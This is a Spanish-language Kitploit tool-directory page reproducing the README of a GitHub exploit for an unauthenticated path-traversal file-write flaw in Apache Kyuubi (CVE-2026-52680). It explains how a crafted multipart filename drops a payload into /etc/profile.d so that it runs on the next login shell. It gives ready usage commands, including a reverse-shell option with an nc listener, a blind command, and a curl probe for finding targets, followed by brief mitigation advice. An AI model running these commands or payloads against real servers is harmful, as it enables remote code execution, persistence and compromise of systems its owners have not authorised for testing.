Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-52680_exploit — Exploit para Apache Kyuubi de path traversal (CVE-2026-52680) que permite escritura arbitraria de archivos sin autenticación y ejecución de código a través de scripts de shell de profile.d. | Kitploit
Herramientas/GitHubGitHub/0xdak/cve-2026-52680_exploit
Generación de PayloadsMecanismos de PersistenciaExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHub0xdak/cve-2026-52680_exploit

CVE-2026-52680_exploit

Exploit para Apache Kyuubi de path traversal (CVE-2026-52680) que permite escritura arbitraria de archivos sin autenticación y ejecución de código a través de scripts de shell de profile.d.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 17 díasAún no revisado

CVE-2026-52680 — Escritura arbitraria de archivos por Path-Traversal en el batch REST de Apache Kyuubi

Escritura arbitraria de archivos sin autenticación en la API REST de Apache Kyuubi a través del endpoint multipart de envío de batch.

POST /api/v1/batches (multipart/form-data) escribe la parte resourceFile en $KYUUBI_HOME/work/upload/<batchId>/ usando el nombre de archivo suministrado por el cliente sin comprobación de path-traversal (kyuubi-common Utils.writeToTempFile):

root@kitploit:~
val filePath = Paths.get(dir.toString, s"$prefix-$identifier$suffix")   // no normalize()/containment
Files.copy(source, filePath, StandardCopyOption.REPLACE_EXISTING)

Un nombre de archivo con ../ escapa del directorio de subida → escritura de archivos en un directorio arbitrario (CWE-22) como el usuario del proceso de Kyuubi. Kyuubi incluye kyuubi.authentication=NONE por defecto, por lo que el endpoint no requiere autenticación.

  • Afectadas: Apache Kyuubi 1.7.0 – 1.11.1
  • Corregido: 1.12.0 (añade la contención filePath.normalize().startsWith(dir.normalize()))
  • Puerto por defecto: 10099 (frontend REST, sin autenticación cuando authentication=NONE)
  • CWE: 22 (Path Traversal) / 73 (Control externo del nombre o ruta de archivo)
  • Impacto: escritura arbitraria de archivos como el usuario del proceso de Kyuubi → RCE

Restricción importante — el nombre base se altera

writeToTempFile inserta -<yyyyMMddHHmmss>-<counter> antes de la extensión, por lo que controlas el directorio de destino, la extensión y el contenido, pero no el nombre base exacto. Esto impide sobrescribir con nombres exactos (~/.ssh/authorized_keys, /etc/crontab, ~/.bashrc) — apunta en su lugar a una ubicación que se ejecute mediante glob.

Este exploit deposita /etc/profile.d/pwn.sh → se guarda como /etc/profile.d/pwn-<ts>-<n>.sh, que sigue coincidiendo con /etc/profile.d/*.sh y es cargado mediante source (no requiere bit de ejecución) por cada shell de inicio de sesión. Se ejecuta como el usuario que abra una shell de inicio de sesión — root si Kyuubi se ejecuta como root y se produce un inicio de sesión de root (p. ej. ssh root@host, su -, un cron bash -lc).

Requisitos

Solo la biblioteca estándar de Python 3 — sin dependencias.

Uso

root@kitploit:~
# reverse shell (start a listener first: nc -lvnp 4444). Fires on the next login shell.
python3 exploit.py http://10.10.10.10:10099/ --shell 10.10.14.5:4444

# blind command
python3 exploit.py http://10.10.10.10:10099/ -c 'id > /tmp/pwned'

La subida devuelve HTTP 500 (Error opening batch session) cuando no hay un backend de Spark presente — es algo esperado e inofensivo: el archivo se escribe antes de que el batch llegue a lanzarse.

Cómo funciona

Dos partes multipart:

  1. batchRequest (JSON) {"batchType":"SPARK","resource":"x","className":"x","name":"pwn"} — un BatchRequest mínimo válido para que la validación pase y se alcance el sink de subida.
  2. resourceFile, nombre de archivo ../../../../../../etc/profile.d/pwn.sh, cuerpo = el payload. Kyuubi lo escribe (con el nombre base alterado) en /etc/profile.d/pwn-<ts>-<n>.sh.

Una shell de inicio de sesión carga entonces /etc/profile.d/*.sh mediante source y ejecuta el payload.

Identificar un objetivo

root@kitploit:~
curl -s http://10.10.10.10:10099/api/v1/ping        # Kyuubi REST responds (no auth)

Un frontend REST de Kyuubi en el puerto 10099 con authentication=NONE es explotable.

Mitigación

Actualiza a Apache Kyuubi ≥ 1.12.0, habilita la autenticación (kyuubi.authentication), nunca expongas la puerta de enlace REST a redes no confiables y no ejecutes Kyuubi como root.

Aviso legal

Solo para pruebas de seguridad autorizadas y fines educativos. Úsalo únicamente contra sistemas que poseas o para los que tengas permiso explícito para probar.

Descargar herramienta